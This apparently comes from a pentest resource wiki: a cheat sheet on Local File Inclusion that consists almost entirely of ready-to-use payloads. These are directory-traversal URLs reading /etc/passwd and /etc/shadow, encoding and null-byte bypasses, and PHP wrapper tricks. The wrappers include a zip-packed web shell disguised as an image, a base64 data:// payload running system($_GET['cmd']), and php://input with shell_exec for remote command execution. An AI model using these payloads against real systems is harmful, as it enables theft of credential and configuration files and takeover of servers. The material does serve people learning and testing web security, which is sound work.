> For the complete documentation index, see [llms.txt](https://lazy-access.gitbook.io/resources/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lazy-access.gitbook.io/resources/local-file-inclusion.md).

# Local File Inclusion

### Local File Inclusion (LFI)

### Introduction

Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server

### Where to find

* Any endpoint that includes a file from a web server. For example, `/index.php?page=index.html`

### How to exploit

1. Basic payload

```
http://example.com/index.php?page=../../../etc/passwd
http://example.com/index.php?page=../../../../../../../../../../../../etc/shadow
```

2. URL encoding

```
http://example.com/index.php?page=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
```

3. Double encoding

```
http://example.com/index.php?page=%252e%252e%252f%252e%252e%252fetc%252fpasswd
```

4. UTF-8 encoding

```
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
```

5. Using Null Byte (%00)

```
http://example.com/index.php?page=../../../etc/passwd%00
```

6. From an existent folder

```
http://example.com/index.php?page=scripts/../../../../../etc/passwd
```

7. Path truncation

```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
```

8. Using PHP Wrappers: filter

```
http://example.com/index.php?page=php://filter/read=string.rot13/resource=config.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=config.php
```

9. Using PHP Wrappers: zlib

```
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/shadow
```

10. Using PHP Wrappers: zip

```
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php
```

11. Using PHP Wrappers: data

```
http://example.com/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
```

12. Using PHP Wrappers: expect

```
http://example.com/index.php?page=expect://ls
```

13. Using PHP Wrappers: input

```
POST /index.php?page=php://input&cmd=ls HTTP/1.1
Host: example.com
...

<?php echo shell_exec($_GET['cmd']); ?>
```

14. Some unique bypass

```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
http://example.com/index.php?page=/.%2e/.%2e/.%2e/.%2e/etc/passwd
http://example.com/index.php?page=/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
```

### References

* [Aptive](https://www.aptive.co.uk/blog/local-file-inclusion-lfi-testing/)


---

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